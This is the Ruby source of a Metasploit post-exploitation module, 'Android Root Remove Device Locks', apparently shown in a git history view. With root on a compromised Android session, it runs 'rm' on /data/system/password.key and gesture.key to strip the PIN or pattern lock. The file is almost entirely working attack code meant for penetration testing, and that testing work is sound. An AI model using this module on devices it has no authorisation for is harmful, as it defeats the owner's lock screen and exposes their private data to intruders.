metasploit-framework/modules/post/android/manage/remove_lock_root.rb

45 lines
1.2 KiB
Ruby
Raw Normal View History

2015-05-25 12:37:30 +00:00
##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
2015-05-25 12:37:30 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Post
2015-05-25 12:37:30 +00:00
include Msf::Post::Common
include Msf::Post::Android::Priv
2015-05-25 12:37:30 +00:00
def initialize(info={})
super( update_info( info, {
'Name' => "Android Root Remove Device Locks (root)",
2015-05-25 12:37:30 +00:00
'Description' => %q{
This module uses root privileges to remove the device lock.
In some cases the original lock method will still be present but any key/gesture will
unlock the device.
},
'Privileged' => true,
2015-05-25 12:37:30 +00:00
'License' => MSF_LICENSE,
'Author' => [ 'timwr' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Platform' => 'android',
}
))
end
def run
unless is_root?
print_error("This module requires root permissions.")
return
2015-05-25 12:37:30 +00:00
end
%W{
/data/system/password.key
/data/system/gesture.key
}.each do |path|
print_status("Removing #{path}")
cmd_exec("rm #{path}")
end
print_status("Device should be unlocked or no longer require a pin")
2015-05-25 12:37:30 +00:00
end
end